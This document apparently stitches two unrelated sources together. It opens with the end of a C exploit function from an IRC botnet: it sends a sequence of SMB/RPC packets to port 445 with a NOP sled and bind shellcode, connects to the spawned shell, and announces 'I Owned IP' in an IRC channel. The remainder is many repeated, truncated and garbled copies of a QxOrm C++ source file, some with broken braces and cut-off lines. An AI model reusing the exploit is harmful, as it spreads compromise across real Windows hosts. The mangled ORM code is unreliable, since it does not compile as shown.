	char packet[4096];
	char *ptr;
	char recvbuf[4096];
	char buffer[ IRCLINE ];

	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);

	if ((he = gethostbyname(exinfo.ip)) == NULL) {
		return false;
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		return false;
	}

	addr.sin_family = AF_INET;
	addr.sin_port = htons(445);
	addr.sin_addr = *((struct in_addr *)he->h_addr);
	memset(&(addr.sin_zero), '\0', 8);

	if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
		return false;
	}

	if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if (len <= 10) {
		return false;;
	}

	if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	ptr = packet;
	memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
	ptr += sizeof(SMB_TreeConnectAndX)-1;

	sprintf(tmp, "\\\\%s\\IPC$", exinfo.ip);
	convert_name(ptr, tmp);
	smblen = strlen(tmp)*2;
	ptr += smblen;
	smblen += 9;
	memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);

	memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
	ptr += sizeof(SMB_TreeConnectAndX_)-1;

	smblen = ptr-packet;
	smblen -= 4;
	memcpy(packet+3, &smblen, 1);

	if (send(sockfd, packet, ptr-packet, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	// nop
	ptr = packet;
	memset(packet, '\x90', sizeof(packet));

	// header & offsets
	memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
	ptr += sizeof(RPC_call)-1;

	// shellcode
	memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

	// end of packet
	memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,
		RPC_call_end,
		sizeof(RPC_call_end)-1);

	if (send(sockfd, packet, 2196, 0) < 0) {
		return false;
	}

	recv(sockfd, recvbuf, 4096, 0);

	closesocket(sockfd);

	Sleep(300);

	if (ConnectShell(exinfo) != false) {
		_snprintf( buffer, sizeof(buffer), "[%s]: I Owned IP: %s.", exploit[ exinfo.exploit ].name, exinfo.ip );
		irc_privmsg( exinfo.sock, exinfo.chan, buffer, exinfo.notice );
		addlog( buffer );
		exploit[ exinfo.exploit ].stats++;
	}

	return true;

}


/****************************************************************************
**
** http://example.com
**
**
** Licensees holding valid commercial QxOrm licenses may use this file in
**
** Alternatively, this file may be used under the terms of the GNU
**
** If you are unsure which license is appropriate for your use, or
** if you have questions regarding the use of this file, please contact :
** contact@qxorm.com
**
****************************************************************************/

#include <QxPrecompiled.h>

#include <QxDataMember/IxDataMemberX.h>

#include <QxRegister/IxClass.h>

#include <QxMemLeak/mem_leak.h>

namespace qx {

struct Q_DECL_HIDDEN IxDataMemberX::IxDataMemberXImpl
{

   QxCollection<QString, IxDataMember *> m_lstDataMember;   //!< Collection of IxDataMember
   QxCollection<QString, IxDataMember *> m_lstPImpl;        //!< Collection of private implementation idiom instances
   IxClass * m_pClass;                                      //!< Class definition
   IxDataMember * m_pDataMemberId;                          //!< Data member id with primary key type

   IxDataMemberXImpl() : m_pClass(NULL), m_pDataMemberId(NULL) { ; }
   ~IxDataMemberXImpl() { ; }

   void deleteAllIxDataMember()
   {
      for (auto itr = m_lstDataMember.begin(); itr != m_lstDataMember.end(); ++itr) { delete itr->second; }
      for (auto itr = m_lstPImpl.begin(); itr != m_lstPImpl.end(); ++itr) { delete itr->second; }
   }

};

IxDataMemberX::IxDataMemberX() : m_pImpl(new IxDataMemberXImpl()) { ; }

IxDataMemberX::~IxDataMemberX() { m_pImpl->deleteAllIxDataMember(); }

IxClass * IxDataMemberX::getClass() const { return m_pImpl->m_pClass; }

void IxDataMemberX::setClass(IxClass * p) { m_pImpl->m_pClass = p; }

QString IxDataMemberX::getName() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getName() : ""); }

const char * IxDataMemberX::getNamePtr() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getNamePtr() : NULL); }

QString IxDataMemberX::getDescription() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDescription() : ""); }

long IxDataMemberX::getVersion() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getVersion() : -1); }

qx::dao::strategy::inheritance IxDataMemberX::getDaoStrategy() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDaoStrategy() : qx::dao::strategy::concrete_table_inheritance); }

long IxDataMemberX::count() const { return m_pImpl->m_lstDataMember.count(); }

long IxDataMemberX::size() const { return this->count(); }

bool IxDataMemberX::exist(const QString & sKey) const { return m_pImpl->m_lstDataMember.exist(sKey); }

IxDataMember * IxDataMemberX::get(long l) const { return m_pImpl->m_lstDataMember.getByIndex(l); }

IxDataMember * IxDataMemberX::get(const QString & s) const { return m_pImpl->m_lstDataMember.getByKey(s); }

IxDataMember * IxDataMemberX::getId() const { return m_pImpl->m_pDataMemberId; }

void IxDataMemberX::setId(IxDataMember * p) { m_pImpl->m_pDataMemberId = p; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() { return m_pImpl->m_lstDataMember; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() const { return m_pImpl->m_lstDataMember; }

{ return m_pImpl->m_lstPImpl; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() const { return m_pImpl->m_lstPImpl; }

} // namespace qx


/****************************************************************************
**
** http://example.com
**
**
** Licensees holding valid commercial QxOrm licenses may use this file in
**
** Alternatively, this file may be used under the terms of the GNU
**
** If you are unsure which license is appropriate for your use, or
** if you have questions regarding the use of this file, please contact :
** contact@qxorm.com
**
****************************************************************************/

#include <QxPrecompiled.h>

#include <QxDataMember/IxDataMemberX.h>

#include <QxRegister/IxClass.h>

#include <QxMemLeak/mem_leak.h>

namespace qx {

struct Q_DECL_HIDDEN IxDataMemberX::IxDataMemberXImpl
{

   QxCollection<QString, IxDataMember *> m_lstDataMember;   //!< Collection of IxDataMember
   QxCollection<QString, IxDataMember *> m_lstPImpl;        //!< Collection of private implementation idiom instances
   IxClass * m_pClass;                                      //!< Class definition
   IxDataMember * m_pDataMemberId;                          //!< Data member id with primary key type

   IxDataMemberXImpl() : m_pClass(NULL), m_pDataMemberId(NULL) { ; }
   ~IxDataMemberXImpl() { ; }

   void deleteAllIxDataMember()
   {
      for (auto itr = m_lstDataMember.begin(); itr != m_lstDataMember.end(); ++itr) { delete itr->second; }
      for (auto itr = m_lstPImpl.begin(); itr != m_lstPImpl.end(); ++itr) { delete itr->second; }
   }

};

IxDataMemberX::IxDataMemberX() : m_pImpl(new IxDataMemberXImpl()) { ; }

IxDataMemberX::~IxDataMemberX() { m_pImpl->deleteAllIxDataMember(); }

IxClass * IxDataMemberX::getClass() const

void IxDataMemberX::setClass(IxClass * p) { m_pImpl->m_pClass = p; }

QString IxDataMemberX::getName() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getName() : ""); }

const char * IxDataMemberX::getNamePtr() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getNamePtr() : NULL); }

QString IxDataMemberX::getDescription() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDescription() : ""); }

long IxDataMemberX::getVersion() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getVersion() : -1); }

qx::dao::strategy::inheritance IxDataMemberX::getDaoStrategy() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDaoStrategy() : qx::dao::strategy::concrete_table_inheritance); }

long IxDataMemberX::count() const { return m_pImpl->m_lstDataMember.count(); }

long IxDataMemberX::size() const { return this->count(); }

bool IxDataMemberX::exist(const QString & sKey) const { return m_pImpl->m_lstDataMember.exist(sKey); }

IxDataMember * IxDataMemberX::get(long l) const { return m_pImpl->m_lstDataMember.getByIndex(l); }

IxDataMember * IxDataMemberX::get(const QString & s) const { return m_pImpl->m_lstDataMember.getByKey(s); }

IxDataMember * IxDataMemberX::getId() const { return m_pImpl->m_pDataMemberId; }

void IxDataMemberX::setId(IxDataMember * p) { m_pImpl->m_pDataMemberId = p; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() { return m_pImpl->m_lstDataMember; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() const { return m_pImpl->m_lstDataMember; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() { return m_pImpl->m_lstPImpl; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() const { return m_pImpl->m_lstPImpl; }

} // namespace qx


{

   QxCollection<QString, IxDataMember *> m_lstDataMember;   //!< Collection of IxDataMember
   QxCollection<QString, IxDataMember *> m_lstPImpl;        //!< Collection of private implementation idiom instances

/****************************************************************************
**
** http://example.com
**
**
** Licensees holding valid commercial QxOrm licenses may use this file in
**
** Alternatively, this file may be used under the terms of the GNU
**
** If you are unsure which license is appropriate for your use, or
** if you have questions regarding the use of this file, please contact :
** contact@qxorm.com
**
****************************************************************************/

#include <QxPrecompiled.h>

#include <QxDataMember/IxDataMemberX.h>

#include <QxRegister/IxClass.h>

#include <QxMemLeak/mem_leak.h>

namespace qx {

struct Q_DECL_HIDDEN IxDataMemberX::IxDataMemberXImpl

   IxClass * m_pClass;                                      //!< Class definition
   IxDataMember * m_pDataMemberId;                          //!< Data member id with primary key type

   IxDataMemberXImpl() : m_pClass(NULL), m_pDataMemberId(NULL) { ; }
   ~IxDataMemberXImpl() { ; }

   void deleteAllIxDataMember()
   {
      for (auto itr = m_lstDataMember.begin(); itr != m_lstDataMember.end(); ++itr) { delete itr->second; }
      for (auto itr = m_lstPImpl.begin(); itr != m_lstPImpl.end(); ++itr) { delete itr->second; }
   }

};

IxDataMemberX::IxDataMemberX() : m_pImpl(new IxDataMemberXImpl()) { ; }

IxDataMemberX::~IxDataMemberX() { m_pImpl->deleteAllIxDataMember(); }

IxClass * IxDataMemberX::getClass() const { return m_pImpl->m_pClass; }

void IxDataMemberX::setClass(IxClass * p) { m_pImpl->m_pClass = p; }

QString IxDataMemberX::getName() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getName() : ""); }

const char * IxDataMemberX::getNamePtr() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getNamePtr() : NULL); }

QString IxDataMemberX::getDescription() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDescription() : ""); }

long IxDataMemberX::getVersion() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getVersion() : -1); }

qx::dao::strategy::inheritance IxDataMemberX::getDaoStrategy() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDaoStrategy() : qx::dao::strategy::concrete_table_inheritance); }

long IxDataMemberX::count() const { return m_pImpl->m_lstDataMember.count(); }

long IxDataMemberX::size() const { return this->count(); }

bool IxDataMemberX::exist(const QString & sKey) const { return m_pImpl->m_lstDataMember.exist(sKey); }

IxDataMember * IxDataMemberX::get(long l) const { return m_pImpl->m_lstDataMember.getByIndex(l); }

IxDataMember * IxDataMemberX::get(const QString & s) const { return m_pImpl->m_lstDataMember.getByKey(s); }

IxDataMember * IxDataMemberX::getId() const { return m_pImpl->m_pDataMemberId; }

void IxDataMemberX::setId(IxDataMember * p) { m_pImpl->m_pDataMemberId = p; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() { return m_pImpl->m_lstDataMember; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() const { return m_pImpl->m_lstDataMember; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() { return m_pImpl->m_lstPImpl; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() const { return m_pImpl->m_lstPImpl; }

} // namespace qx


IxClass * m_pClass;                                      //!< Class definition
   IxDataMember * m_pDataMemberId;                          //!< Data member id with primary key type

/****************************************************************************
**
** http://example.com
**
**
** Licensees holding valid commercial QxOrm licenses may use this file in
**
** Alternatively, this file may be used under the terms of the GNU
**
** If you are unsure which license is appropriate for your use, or
** if you have questions regarding the use of this file, please contact :
** contact@qxorm.com
**
****************************************************************************/

#include <QxPrecompiled.h>

#include <QxDataMember/IxDataMemberX.h>

#include <QxRegister/IxClass.h>

#include <QxMemLeak/mem_leak.h>

namespace qx {

struct Q_DECL_HIDDEN IxDataMemberX::IxDataMemberXImpl
{

   QxCollection<QString, IxDataMember *> m_lstDataMember;   //!< Collection of IxDataMember
   QxCollection<QString, IxDataMember *> m_lstPImpl;        //!< Collection of private implementation idiom instances

   IxDataMemberXImpl() : m_pClass(NULL), m_pDataMemberId(NULL) { ; }
   ~IxDataMemberXImpl() { ; }

   void deleteAllIxDataMember()
   {
      for (auto itr = m_lstDataMember.begin(); itr != m_lstDataMember.end(); ++itr) { delete itr->second; }
      for (auto itr = m_lstPImpl.begin(); itr != m_lstPImpl.end(); ++itr) { delete itr->second; }
   }

};

IxDataMemberX::IxDataMemberX() : m_pImpl(new IxDataMemberXImpl()) { ; }

IxDataMemberX::~IxDataMemberX() { m_pImpl->deleteAllIxDataMember(); }

IxClass * IxDataMemberX::getClass() const { return m_pImpl->m_pClass; }

void IxDataMemberX::setClass(IxClass * p) { m_pImpl->m_pClass = p; }

QString IxDataMemberX::getName() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getName() : ""); }

const char * IxDataMemberX::getNamePtr() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getNamePtr() : NULL); }

QString IxDataMemberX::getDescription() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDescription() : ""); }

long IxDataMemberX::getVersion() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getVersion() : -1); }

qx::dao::strategy::inheritance IxDataMemberX::getDaoStrategy() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDaoStrategy() : qx::dao::strategy::concrete_table_inheritance); }

long IxDataMemberX::count() const { return m_pImpl->m_lstDataMember.count(); }

long IxDataMemberX::size() const { return this->count(); }

bool IxDataMemberX::exist(const QString & sKey) const { return m_pImpl->m_lstDataMember.exist(sKey); }

IxDataMember * IxDataMemberX::get(long l) const { return m_pImpl->m_lstDataMember.getByIndex(l); }

IxDataMember * IxDataMemberX::get(const QString & s) const { return m_pImpl->m_lstDataMember.getByKey(s); }

IxDataMember * IxDataMemberX::getId() const { return m_pImpl->m_pDataMemberId; }

void IxDataMemberX::setId(IxDataMember * p) { m_pImpl->m_pDataMemberId = p; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() { return m_pImpl->m_lstDataMember; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() const { return m_pImpl->m_lstDataMember; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() { return m_pImpl->m_lstPImpl; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() const { return m_pImpl->m_lstPImpl; }

} // namespace qx


IxDataMemberXImpl() : m_pClass(NULL), m_pDataMemberId(NULL) { ; }
   ~IxDataMemberXImpl() { ; }

   void deleteAllIxDataMember()
   {
      for (auto itr = m_lstDataMember.begin(); itr != m_lstDataMember.end(); ++itr) { delete itr->second; }
      for (auto itr = m_lstPImpl.begin(); itr != m_lstPImpl.end(); ++itr) { delete itr->second; }
   }

}

/****************************************************************************
**
** http://example.com
**
**
** Licensees holding valid commercial QxOrm licenses may use this file in
**
** Alternatively, this file may be used under the terms of the GNU
**
** If you are unsure which license is appropriate for your use, or
** if you have questions regarding the use of this file, please contact :
** contact@qxorm.com
**
****************************************************************************/

#include <QxPrecompiled.h>

#include <QxDataMember/IxDataMemberX.h>

#include <QxRegister/IxClass.h>

#include <QxMemLeak/mem_leak.h>

namespace qx {

struct Q_DECL_HIDDEN IxDataMemberX::IxDataMemberXImpl
{

   QxCollection<QString, IxDataMember *> m_lstDataMember;   //!< Collection of IxDataMember
   QxCollection<QString, IxDataMember *> m_lstPImpl;        //!< Collection of private implementation idiom instances
   IxClass * m_pClass;                                      //!< Class definition
   IxDataMember * m_pDataMemberId;                          //!< Data member id with primary key type

;

IxDataMemberX::IxDataMemberX() : m_pImpl(new IxDataMemberXImpl()) { ; }

IxDataMemberX::~IxDataMemberX() { m_pImpl->deleteAllIxDataMember(); }

IxClass * IxDataMemberX::getClass() const { return m_pImpl->m_pClass; }

void IxDataMemberX::setClass(IxClass * p) { m_pImpl->m_pClass = p; }

QString IxDataMemberX::getName() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getName() : ""); }

const char * IxDataMemberX::getNamePtr() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getNamePtr() : NULL); }

QString IxDataMemberX::getDescription() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDescription() : ""); }

long IxDataMemberX::getVersion() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getVersion() : -1); }

qx::dao::strategy::inheritance IxDataMemberX::getDaoStrategy() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDaoStrategy() : qx::dao::strategy::concrete_table_inheritance); }

long IxDataMemberX::count() const { return m_pImpl->m_lstDataMember.count(); }

long IxDataMemberX::size() const { return this->count(); }

bool IxDataMemberX::exist(const QString & sKey) const { return m_pImpl->m_lstDataMember.exist(sKey); }

IxDataMember * IxDataMemberX::get(long l) const { return m_pImpl->m_lstDataMember.getByIndex(l); }

IxDataMember * IxDataMemberX::get(const QString & s) const { return m_pImpl->m_lstDataMember.getByKey(s); }

IxDataMember * IxDataMemberX::getId() const { return m_pImpl->m_pDataMemberId; }

void IxDataMemberX::setId(IxDataMember * p) { m_pImpl->m_pDataMemberId = p; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() { return m_pImpl->m_lstDataMember; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() const { return m_pImpl->m_lstDataMember; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() { return m_pImpl->m_lstPImpl; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() const { return m_pImpl->m_lstPImpl; }

} // namespace qx


/****************************************************************************
**
** http://example.com
**
**
** Licensees holding valid commercial QxOrm licenses may use this file in
**
** Alternatively, this file may be used under the terms of the GNU
**
** If you are unsure which license is appropriate for your use, or
** if you have questions regarding the use of this file, please contact :
** contact@qxorm.com
**
****************************************************************************/

#include <QxPrecompiled.h>

#include <QxDataMember/IxDataMemberX.h>

#include <QxRegister/IxClass.h>

#include <QxMemLeak/mem_leak.h>

namespace qx {

struct Q_DECL_HIDDEN IxDataMemberX::IxDataMemberXImpl
{

   QxCollection<QString, IxDataMember *> m_lstDataMember;   //!< Collection of IxDataMember
   QxCollection<QString, IxDataMember *> m_lstPImpl;        //!< Collection of private implementation idiom instances
   IxClass * m_pClass;                                      //!< Class definition
   IxDataMember * m_pDataMemberId;                          //!< Data member id with primary key type

   IxDataMemberXImpl() : m_pClass(NULL), m_pDataMemberId(NULL) { ; }
   ~IxDataMemberXImpl() { ; }

   void deleteAllIxDataMember()
   {
      for (auto itr = m_lstDataMember.begin(); itr != m_lstDataMember.end(); ++itr) { delete itr->second; }
      for (auto itr = m_lstPImpl.begin(); itr != m_lstPImpl.end(); ++itr) { delete itr->second; }
   }

};

IxDataMemberX::IxDataMemberX() : m_pImpl(new IxDataMemberXImpl()) { ; }

IxDataMemberX::~IxDataMemberX() { m_pImpl->deleteAllIxDataMember(); }

IxClass * IxDataMemberX::getClass() const { return m_pImpl->m_pClass; }

void IxDataMemberX::setClass(IxClass * p) { m_pImpl->m_pClass = p; }

QString IxDataMemberX::getName() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getName() : ""); }

const char * IxDataMemberX::getNamePtr() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getNamePtr() : NULL); }

QString IxDataMemberX::getDescription() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDescription() : ""); }

long IxDataMemberX::getVersion() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getVersion() : -1); }

qx::dao::strategy::inheritance IxDataMemberX::getDaoStrategy() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDaoStrategy() : qx::dao::strategy::concrete_table_inheritance); }

long IxDataMemberX::count() const { return m_pImpl->m_lstDataMember.count(); }

long IxDataMemberX::size() const { return this->count(); }

bool IxDataMemberX::exist(const QString & sKey) const { return m_pImpl->m_lstDataMember.exist(sKey); }

IxDataMember * IxDataMemberX::get(long l) const { return m_pImpl->m_lstDataMember.getByIndex(l); }

IxDataMember * IxDataMemberX::get(const QString & s) const { return m_pImpl->m_lstDataMember.getByKey(s); }

IxDataMember * IxDataMemberX::getId() const { return m_pImpl->m_pDataMember

 }

void IxDataMemberX::setId(IxDataMember * p) { m_pImpl->m_pDataMemberId = p; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() { return m_pImpl->m_lstDataMember; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() const { return m_pImpl->m_lstDataMember; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() { return m_pImpl->m_lstPImpl; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() const { return m_pImpl->m_lstPImpl; }

} // namespace qx


IxDataMemberXImpl() : m_pClass(NULL), m_pDataMemberId(NULL) { ; }

   ~IxDataMemberXImpl() { ; }

   void deleteAllIxDataMember()
   {
      for (auto itr = m_lstDataMember.begin(); itr != m_lstDataMember.end(); ++itr) { delete itr->second; }
      for (auto itr = m_lstPImpl.begin(); itr != m_lstPImpl.end(); ++itr) { delete itr->second; }
   }

};

IxDataMemberX::IxDataMemberX() : m_pImpl(new IxDataMemberXImpl()) { ; }

IxDataMemberX::~IxDataMemberX() { m_pImpl->deleteAllIxDataMember(); }

IxClass * IxDataMemberX::getClass() const { return m_pImpl->m_pClass; }

void IxDataMemberX::setClass(IxClass * p) { m_pImpl->m_pClass = p; }

QString IxDataMemberX::getName() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getName() : ""); }

const char * IxDataMemberX::getNamePtr() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getNamePtr() : NULL); }

QString IxDataMemberX::getDescription() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDescription() : ""); }

long IxDataMemberX::getVersion() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getVersion() : -1); }

qx::dao::strategy::inheritance IxDataMemberX::getDaoStrategy() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDaoStrategy() : qx::dao::strategy::concrete_table_inheritance); }

long IxDataMemberX::count() const { return m_pImpl->m_lstDataMember.count(); }

long IxDataMemberX::size() const { return this->count(); }

bool IxDataMemberX::exist(const QString & sKey) const { return m_pImpl->m_lstDataMember.exist(sKey); }

IxDataMember * IxDataMemberX::get(long l) const { return m_pImpl->m_lstDataMember.getByIndex(l); }

IxDataMember * IxDataMemberX::get(const QString & s) const { return m_pImpl->m_lstDataMember.getByKey(s); }

IxDataMember * IxDataMemberX::getId() const { return m_pImpl->m_pDataMemberId; }

void IxDataMemberX::setId(IxDataMember * p) { m_pImpl->m_pDataMemberId = p; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() { return m_pImpl->m_lstDataMember; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() const { return m_pImpl->m_lstDataMember; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() { return m_pImpl->m_lstPImpl; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() const { return m_pImpl->m_lstPImpl; }

} // namespace qx


for (auto itr = m_lstPImpl.begin(); itr != m_lstPImpl.end(); ++itr) { delete itr->second; }

/****************************************************************************
**
** http://example.com
**
**
** Licensees holding valid commercial QxOrm licenses may use this file in
**
** Alternatively, this file may be used under the terms of the GNU
**
** If you are unsure which license is appropriate for your use, or
** if you have questions regarding the use of this file, please contact :
** contact@qxorm.com
**
****************************************************************************/

#include <QxPrecompiled.h>

#include <QxDataMember/IxDataMemberX.h>

#include <QxRegister/IxClass.h>

#include <QxMemLeak/mem_leak.h>

namespace qx {

struct Q_DECL_HIDDEN IxDataMemberX::IxDataMemberXImpl
{

   QxCollection<QString, IxDataMember *> m_lstDataMember;   //!< Collection of IxDataMember
   QxCollection<QString, IxDataMember *> m_lstPImpl;        //!< Collection of private implementation idiom instances
   IxClass * m_pClass;                                      //!< Class definition
   IxDataMember * m_pDataMemberId;                          //!< Data member id with primary key type

   IxDataMemberXImpl() : m_pClass(NULL), m_pDataMemberId(NULL) { ; }
   ~IxDataMemberXImpl() { ; }

   void deleteAllIxDataMember()
   {
      for (auto itr = m_lstDataMember.begin(); itr != m_lstDataMember.end(); ++itr) { delete itr->second; }

   }

};

IxDataMemberX::IxDataMemberX() : m_pImpl(new IxDataMemberXImpl()) { ; }

IxDataMemberX::~IxDataMemberX() { m_pImpl->deleteAllIxDataMember(); }

IxClass * IxDataMemberX::getClass() const { return m_pImpl->m_pClass; }

void IxDataMemberX::setClass(IxClass * p) { m_pImpl->m_pClass = p; }

QString IxDataMemberX::getName() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getName() : ""); }

const char * IxDataMemberX::getNamePtr() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getNamePtr() : NULL); }

QString IxDataMemberX::getDescription() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDescription() : ""); }

long IxDataMemberX::getVersion() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getVersion() : -1); }

qx::dao::strategy::inheritance IxDataMemberX::getDaoStrategy() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDaoStrategy() : qx::dao::strategy::concrete_table_inheritance); }

long IxDataMemberX::count() const { return m_pImpl->m_lstDataMember.count(); }

long IxDataMemberX::size() const { return this->count(); }

bool IxDataMemberX::exist(const QString & sKey) const { return m_pImpl->m_lstDataMember.exist(sKey); }

IxDataMember * IxDataMemberX::get(long l) const { return m_pImpl->m_lstDataMember.getByIndex(l); }

IxDataMember * IxDataMemberX::get(const QString & s) const { return m_pImpl->m_lstDataMember.getByKey(s); }

IxDataMember * IxDataMemberX::getId() const { return m_pImpl->m_pDataMemberId; }

void IxDataMemberX::setId(IxDataMember * p) { m_pImpl->m_pDataMemberId = p; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() { return m_pImpl->m_lstDataMember; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() const { return m_pImpl->m_lstDataMember; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() { return m_pImpl->m_lstPImpl; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() const { return m_pImpl->m_lstPImpl; }

} // namespace qx


/****************************************************************************
**
** http://example.com
**
**
** Licensees holding valid commercial QxOrm licenses may use this file in
**
** Alternatively, this file may be used under the terms of the GNU
**
** If you are unsure which license is appropriate for your use, or
** if you have questions regarding the use of this file, please contact :
** contact@qxorm.com
**
****************************************************************************/

#include <QxPrecompiled.h>

#include <QxDataMember/IxDataMemberX.h>

#include <QxRegister/IxClass.h>

#include <QxMemLeak/mem_leak.h>

namespace qx {

struct Q_DECL_HIDDEN IxDataMemberX::IxDataMemberXImpl
{

   QxCollection<QString, IxDataMember *> m_lstDataMember;   //!< Collection of IxDataMember
   QxCollection<QString, IxDataMember *> m_lstPImpl;        //!< Collection of private implementation idiom instances
   IxClass * m_pClass;                                      //!< Class definition
   IxDataMember * m_pDataMemberId;                          //!< Data member id with primary key type

   IxDataMemberXImpl() : m_pClass(NULL), m_pDataMemberId(NULL) { ; }
   ~IxDataMemberXImpl() { ; }

   void deleteAllIxDataMember()
   {
      for (auto itr = m_lstDataMember.begin(); itr != m_lstDataMember.end(); ++itr) { delete itr->second; }
      for (auto itr = m_lstPImpl.begin(); itr != m_lstPImpl.end(); ++itr) { delete itr->second; }
   }

};

IxDataMemberX::IxDataMemberX() : m_pImpl(new IxDataMemberXImpl()) { ; }

IxDataMemberX::~IxDataMemberX() { m_pImpl->deleteAllIxDataMember(); }

IxClass * IxDataMemberX::getClass() const { return m_pImpl->m_pClass; }

void IxDataMemberX::setClass(IxClass * p) { m_pImpl->m_pClass = p; }

QString IxDataMemberX::getName() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getName() : ""); }

